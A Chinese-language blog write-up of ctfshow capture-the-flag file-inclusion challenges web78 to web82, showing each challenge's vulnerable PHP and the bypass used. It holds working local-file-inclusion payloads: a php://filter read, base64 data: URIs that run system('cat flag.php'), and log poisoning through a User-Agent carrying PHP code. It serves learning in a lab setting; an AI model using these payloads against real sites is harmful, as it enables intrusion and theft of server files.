当前位置:网站首页>ctfshow 文件包含
ctfshow 文件包含
2022-07-30 23:17:00 【白塔河冲浪手】
web78
进入环境
直接利用php://filter伪协议读取flag.php文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得到flag
web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
str_replace替换字符串
将变量file中的php替换成???
那我们这里就不能用php伪协议了换data协议并用base64加密
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
<?php system('cat flag.php'); ?>
web80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同上过滤php,data
正常服务器中的日志文件位置:
/var/log/nginx/access.log
/var/log/apache2/access.log
这里包含日志文件来getshell
可以看见日志文件会记录User-Agent
抓包修改User-Agent
<?php system('ls');?>
<?php system('cat fl0g.php');?>
web81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同上过滤php,data,:
使用日志文件getshell
和上题一样
web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>
.也过滤了日志包含不行
边栏推荐
- oracle数据库版本问题咨询(就是对比从数据库查询出来的版本,和docker里面的oracle版本)?
- MySql统计函数COUNT详解
- (WebFlux)001、如何自定义注解实现功能
- 【Untitled】
- Flex布局使用
- 电脑快捷方式图标变白解决方案
- [MySQL] Related operations on databases and tables in MySQL
- Apache Doris series: In-depth understanding of real-time analytical database Apache Doris
- VS2017 compile Tars test project
- 软考总结
猜你喜欢
随机推荐
【MySQL】DQL相关操作
Go语学习笔记 - gorm使用 - 事务操作 Web框架Gin(十一)
HashSet源码解析
MySQL的一个问题
flutter 做底部的三个按键,有叠加,有填充
[0x800706D9] solution appears in Microsoft Store
Apache Doris series: detailed steps for installation and deployment
ZZULIOJ:1119: sequence order
MySQL联合查询(多表查询)
详解操作符
leetcode(刷题篇13)
电脑快捷方式图标变白解决方案
CPM:A large-scale generative chinese pre-trained lanuage model
$\text{ARC 145}$
微软商店出现【0x800706D9】解决方法
"NIO Cup" 2022 Nioke Summer Multi-School Training Camp 2 H.Take the Elevator
【Untitled】
可视化工具Netron介绍
2022.7.27
# Dasctf 7月赋能赛 WP